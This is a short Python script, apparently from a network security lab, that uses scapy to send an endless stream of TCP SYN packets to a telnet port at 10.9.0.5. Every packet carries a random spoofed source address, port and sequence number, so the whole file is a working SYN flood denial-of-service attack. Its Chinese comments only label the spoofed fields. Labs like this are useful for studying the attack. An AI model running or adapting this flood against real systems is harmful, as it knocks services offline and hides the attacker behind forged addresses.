#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # 源 IP
    pkt[TCP].sport = getrandbits(16) # 源端口号
    pkt[TCP].seq = getrandbits(32) # 序列号
    send(pkt, verbose = 0)